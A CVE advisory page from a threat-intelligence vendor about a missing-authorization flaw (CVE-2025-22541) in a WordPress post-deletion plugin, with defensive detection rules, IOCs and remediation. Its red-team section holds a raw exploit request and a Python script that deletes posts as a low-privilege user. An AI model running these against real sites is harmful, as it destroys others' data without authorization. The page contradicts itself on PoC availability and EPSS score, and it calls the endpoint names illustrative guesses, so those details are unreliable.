☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Etruel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22541

CVE-2025-22541 Missing Authorization in Etruel
📅 PUBLISHED: 2025-01-07 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22541 is a Missing Authorization vulnerability in the WordPress plugin WP Delete Post Copies (slug: etruel-del-post-copies), affecting versions from n/a through 5.5. This flaw allows an authenticated attacker with low privileges (e.g., subscriber or contributor) to exploit incorrectly configured access control security levels, potentially leading to unauthorized deletion of post copies, data manipulation, or other restricted actions. The vulnerability is classified under CWE-862 (Missing Authorization) and carries a CVSS score of 5.4 (Medium). As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains due to the lack of a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who have installed the plugin from the directory or via automatic updates are at risk. Since no patch is available, the supply chain risk is elevated: site administrators must manually monitor for updates or consider removing the plugin. The plugin's codebase is not hosted on NPM, PyPI, Go, or Ruby registries, so no package manager-specific advisories apply.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): Low (L) – The attacker needs valid low-privilege credentials (e.g., subscriber).
  • User Interaction (UI): None (N) – No user action is needed beyond the attacker's own actions.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) – Limited unauthorized data access possible.
  • Integrity (I): Low (L) – Limited unauthorized modification possible.
  • Availability (A): Low (L) – Limited impact on service availability.

CVSS Score: 5.4 (Medium) – The vulnerability is exploitable with low privileges and no user interaction, but the impact is limited to low-level confidentiality, integrity, and availability loss.

Deep Dive & Mechanics

The vulnerability resides in the WP Delete Post Copies plugin, which provides functionality to delete duplicate or copied posts. The plugin fails to properly enforce authorization checks on certain administrative actions, such as deleting post copies. Specifically, the plugin's AJAX handlers or admin pages do not verify that the current user has the required capabilities (e.g., delete_posts, edit_posts, or manage_options) before executing deletion operations.

Root Cause: The plugin uses wp_ajax_ hooks or direct admin page callbacks without implementing capability checks like current_user_can(). This allows any authenticated user, regardless of role, to trigger deletion of post copies, potentially affecting posts they do not own or that are protected.

Attack Scenario:

  1. An attacker registers or compromises a low-privilege account (e.g., subscriber).
  2. The attacker crafts a request to the vulnerable endpoint (e.g., admin-ajax.php?action=delete_post_copy&post_id=X).
  3. The plugin processes the request without verifying the user's permissions, deleting the specified post copy.
  4. The attacker can repeat this to delete multiple post copies, causing data loss or disruption.

Affected Components:

  • Plugin slug: etruel-del-post-copies
  • Vulnerable versions: All versions up to and including 5.5
  • Unpatched status: No official fix available

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable implementation might look like:

Vulnerable Code (PHP):

add_action('wp_ajax_delete_post_copy', 'handle_delete_post_copy');
function handle_delete_post_copy() {
    $post_id = intval($_POST['post_id']);
    wp_delete_post($post_id, true);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_delete_post_copy', 'handle_delete_post_copy');
function handle_delete_post_copy() {
    if (!current_user_can('delete_posts')) {
        wp_die('Unauthorized', 403);
    }
    $post_id = intval($_POST['post_id']);
    if (!current_user_can('delete_post', $post_id)) {
        wp_die('Unauthorized', 403);
    }
    wp_delete_post($post_id, true);
    wp_die();
}

The patched version adds capability checks using current_user_can() to ensure the user has the delete_posts capability and specific post-level permission.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A WordPress site with WP Delete Post Copies plugin version <= 5.5 installed and activated.
  • Valid low-privilege credentials (e.g., subscriber or contributor).

Exploitation Steps:

  1. Log in as a low-privilege user.
  2. Identify the AJAX action used by the plugin (e.g., delete_post_copy). This can be found by inspecting the plugin's JavaScript or source code.
  3. Craft a POST request to wp-admin/admin-ajax.php with the action and post ID:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target-site.com
    Content-Type: application/x-www-form-urlencoded
    Cookie: [valid session cookie]
    
    action=delete_post_copy&post_id=123
    
  4. The plugin will delete the post copy without authorization checks.

Automation Script (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
# Login first
login_data = {"log": "attacker", "pwd": "password", "wp-submit": "Log In"}
session.post(target + "/wp-login.php", data=login_data)

# Exploit
ajax_url = target + "/wp-admin/admin-ajax.php"
payload = {"action": "delete_post_copy", "post_id": "123"}
response = session.post(ajax_url, data=payload)
print(response.text)

Blue Team (Defender)

Detection & Response:

  • Monitor for unusual AJAX requests to admin-ajax.php with actions related to post deletion from low-privilege users.
  • Enable logging of all AJAX actions and review for unauthorized deletion attempts.
  • Implement Web Application Firewall (WAF) rules to block requests to unknown or suspicious AJAX actions from low-privilege roles.
  • Temporarily disable the plugin until a patch is available.

Honeypot Setup:

  • Create a fake post copy with a unique ID and monitor for deletion attempts.
  • Alert on any deletion of that post by non-admin users.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-ajax.php with parameter action=delete_post_copy from non-admin IPs.
    • Repeated 403 or 200 responses to AJAX deletion actions from low-privilege users.
  • File IOCs:
    • Plugin file: /wp-content/plugins/etruel-del-post-copies/ (presence indicates vulnerable installation).
    • Log entries in WordPress debug log showing unauthorized AJAX calls.
  • Behavioral IOCs:
    • Sudden deletion of multiple post copies by a single user with low privileges.
    • User role escalation attempts following successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_22541_WordPress_Plugin {
    meta:
        description = "Detects vulnerable WP Delete Post Copies plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22541"
    strings:
        $func1 = "wp_ajax_delete_post_copy" ascii wide nocase
        $func2 = "handle_delete_post_copy" ascii wide nocase
        $vuln = "wp_delete_post" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-22541 - Missing Authorization in WP Delete Post Copies
id: 8a3f7c2e-1b5d-4a9e-8c6f-0d2e3f4a5b6c
status: experimental
description: Detects unauthorized AJAX requests to delete post copies via vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=delete_post_copy'
    condition: selection
falsepositives:
    - Legitimate admin actions (if plugin is patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22541 - WP Delete Post Copies Missing Authorization"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=delete_post_copy"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released. Navigate to WordPress Admin > Plugins and deactivate "WP Delete Post Copies".
  2. Review user roles and ensure no low-privilege accounts have been compromised.
  3. Audit logs for any unauthorized deletion of post copies.

Long-term Mitigation:

  • Monitor the WordPress Plugin Directory for updates. If a patched version (e.g., 5.6 or higher) is released, update immediately.
  • Implement a Web Application Firewall (WAF) with custom rules to block AJAX requests to delete_post_copy from non-admin users.
  • Apply the principle of least privilege: ensure only administrators have capabilities to delete posts.
  • Consider using a security plugin (e.g., Wordfence) to monitor for unauthorized AJAX actions.

Workaround (if plugin must remain active):

  • Add a custom code snippet to the theme's functions.php to enforce capability checks:
    add_action('wp_ajax_delete_post_copy', function() {
        if (!current_user_can('delete_posts')) {
            wp_die('Unauthorized', 403);
        }
    }, 1);
    

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Delete Post Copies"
http.html:"wp-delete-post-copies"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22541/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.